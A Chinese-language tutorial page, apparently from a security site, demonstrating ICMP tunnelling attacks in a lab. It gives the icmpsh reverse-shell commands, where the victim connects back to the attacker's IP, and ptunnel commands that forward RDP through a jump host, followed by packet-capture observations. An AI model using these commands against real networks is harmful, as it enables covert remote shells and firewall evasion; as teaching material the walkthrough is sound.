行业新闻

ICMP隧道攻击

ICMP隧道攻击

ICMP隧道攻击

ICMP隧道模式简介

ICMP一般用于检测网络的可通性,

所以一般在防火墙设备上都不会用策略去禁止它(ping),这也就使得了有很大的可能性去使用ICMP隧道进行相应的攻击,达到一种伪装.

而能达到这种攻击的原因是在CMP报文结构中,有数据部分是可控的,所以可以利用可控数据部分去构造相应的攻击语句.

1.icmpsh使用

下载地址:GitHub - k1132/icmpsh: Simple reverse ICMP shell[1]

py使用前需安装Impacket依赖库


git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketsudo python setup.py  instal

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应


sysctl -w net.ipv4.icmp_echo_ignore_all

不关闭就会导致不稳定

①将exe执行文件上传到受害机 ,并执行

执行代码如下:


icmpsh.exe -t 攻击机IP地址

②攻击机进行监听

python2 icmpsh_m.py 攻击者IP 受害者IP

③抓包分析

 通过抓取该网卡可以观察到都是ICMP报文的数据包

在反弹的shell执行whoami并在数据包中查看数据信息

最后, 通过报文分析可以知道ICMP隧道是将执行的代码封装在了ICMP报文中的数据中

2.ptunnel 使用

下载地址:https://github.com/f1vefour/ptunnel 需自行编译


ptunnel参数含义:-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码

进入解压后文件输入如下即可:


make install

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应


sysctl -w net.ipv4.icmp_echo_ignore_all=1

环境模拟:

①将编译好的ptunnel上传到跳板机

并赋予可执行权限

②设置连接密码

./ptunnel -x mrfan

③攻击机将转发的 3389请求数据给本地 6666

./ptunnel -p 192.168.1.14 -lp 6666 -da 192.168.22.14 -dp 3389 -x mrfan
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##连接的密码

③利用连接好的跳板机去连接受害机

rdesktop 127.0.0.1:6666

④抓包分析

通过在192.168.1.0/24网卡上进行抓包

可以抓到许多ICMP的数据包, 并是由192.168.1.11(攻击机)与192.168.1.14(跳板机)的请求应答包, 所以这也是通过ICMP的数据部分进行了相应的伪装所造成的攻击

References

[1] GitHub - k1132/icmpsh: Simple reverse ICMP shell: https://github.com/k1132/icmpsh

关闭